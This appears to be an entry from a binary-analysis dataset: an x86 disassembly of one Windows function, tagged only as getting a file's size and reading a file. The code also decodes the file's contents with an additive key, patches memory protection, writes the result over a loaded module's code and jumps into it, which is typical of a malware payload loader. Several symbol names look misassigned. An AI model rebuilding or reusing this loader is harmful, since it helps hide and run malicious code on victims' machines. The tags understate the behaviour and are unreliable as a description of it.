Function at 0x10006ab0
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0
call fcn.1000686a
mov ecx, dword [0x10089dc2]
add esp, 0x18
push 4
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x10089dc2]
mov esi, eax
push ecx
push esi
call fcn.10006a0a
mov eax, dword [esp + 0x18]
xor edx, edx
add esp, 8
cmp word [eax], dx
je 0x10006b11
movzx eax, word [eax]
xor ecx, ecx
nop dword [eax + eax]
mov word [ecx + esi], ax
lea edx, [edx + 1]
mov eax, dword [esp + 0x10]
lea ecx, [edx + edx]
movzx eax, word [ecx + eax]
test ax, ax
jne 0x10006afa
mov edx, dword [0x10089d92]
xor eax, eax
cmp word [esi], ax
je 0x10006b26
inc eax
cmp word [esi + eax*2], 0
jne 0x10006b1e
cmp word [esi + eax*2 - 2], 0x5c
lea ecx, [esi + eax*2]
je 0x10006b42
dec eax
xor edi, edi
mov word [ecx], di
cmp word [esi + eax*2 - 2], 0x5c
lea ecx, [esi + eax*2]
jne 0x10006b31
mov cl, byte [edx]
test cl, cl
je 0x10006b5f
lea edi, [esi + eax*2]
movsx ax, cl
lea edx, [edx + 1]
lea edi, [edi + 2]
mov word [edi - 2], ax
mov cl, byte [edx]
test cl, cl
jne 0x10006b4b
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006b92
mov ecx, dword [str.bay.txt]
push 0
push 0
push ecx
push 0
call ebp
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [0x10089dc6]
mov esi, eax
push 4
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov ebx, eax
mov dword [esp + 0x20], 0
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10006be3
push eax
push eax
mov eax, dword [str.bay.txt]
push eax
push 0
call ebp
push 0
call dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
xor edx, edx
add eax, ebx
mov dword [esp + 0x20], eax
mov eax, dword [0x10089da6]
add ebx, eax
mov edi, dword [ebx + 4]
lea eax, [ebx + 4]
add eax, 4
mov ecx, dword [ebx]
movd xmm0, edi
pshufd xmm1, xmm0, 0
test ecx, ecx
je 0x10006c64
cmp ecx, 0x10
jb 0x10006c52
mov esi, ecx
and esi, 0xfffffff0
nop
movups xmm0, xmmword [eax]
add edx, 0x10
paddd xmm0, xmm1
movups xmmword [eax], xmm0
movups xmm0, xmmword [eax + 0x10]
paddd xmm0, xmm1
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [eax + 0x20]
paddd xmm0, xmm1
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [eax + 0x30]
paddd xmm0, xmm1
movups xmmword [eax + 0x30], xmm0
add eax, 0x40
cmp edx, esi
jb 0x10006c1a
cmp edx, ecx
jae 0x10006c64
sub ecx, edx
nop
add dword [eax], edi
lea eax, [eax + 4]
sub ecx, 1
jne 0x10006c5a
mov eax, dword [0x10089dce]
add ebx, eax
mov edi, dword [esp + 0x24]
test edi, edi
jne 0x10006c87
mov eax, dword [str.bay.txt]
push edi
push edi
push eax
push edi
call ebp
mov esi, dword [esp + 0x14]
push edi
call esi
jmp 0x10006c8b
mov esi, dword [esp + 0x14]
movsx eax, byte [ebx]
add ebx, eax
lea eax, [ebx + 1]
push eax
push dword [esp + 0x2c]
call fcn.100067aa
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
jne 0x10006cb8
mov ecx, dword [str.bay.txt]
push eax
push eax
push ecx
push eax
call ebp
push 0
call esi
movsx eax, byte [ebx]
add ebx, eax
lea eax, [ebx + 1]
push eax
call edi
mov ecx, eax
mov dword [esp + 0x28], ecx
test ecx, ecx
jne 0x10006ce1
mov ecx, dword [str.bay.txt]
push eax
push eax
push ecx
push eax
call ebp
push 0
call esi
mov ecx, dword [esp + 0x28]
mov esi, dword [0x10089dd2]
movsx eax, byte [ebx]
add ebx, eax
mov eax, dword [ecx + 0x3c]
add esi, ebx
mov edi, dword [eax + ecx + 0x2c]
lea eax, [esp + 0x18]
mov ebp, dword [ebx + 4]
add edi, ecx
mov ebx, dword [ebx + 8]
push eax
mov eax, dword [0x10089d82]
push eax
push ebx
push edi
mov dword [esp + 0x28], 0
call dword [esp + 0x24]
push ebx
push esi
push edi
call fcn.1000675a
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x1c]
push ebx
push edi
call dword [esp + 0x24]
mov eax, dword [str.bay.txt]
xor ecx, ecx
add edi, ebp
cmp byte [eax], cl
je 0x10006d64
mov edx, dword [esp + 0x20]
nop word [eax + eax]
mov eax, dword [str.bay.txt]
movsx ax, byte [eax + ecx]
mov word [edx + ecx*2], ax
inc ecx
mov eax, dword [str.bay.txt]
cmp byte [eax + ecx], 0
jne 0x10006d4a
mov eax, dword [esp + 0x20]
xor edx, edx
mov word [eax + ecx*2], dx
mov dword [esp + 0x30], eax
lea eax, [ebx + esi]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0x38], 1
call edi
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret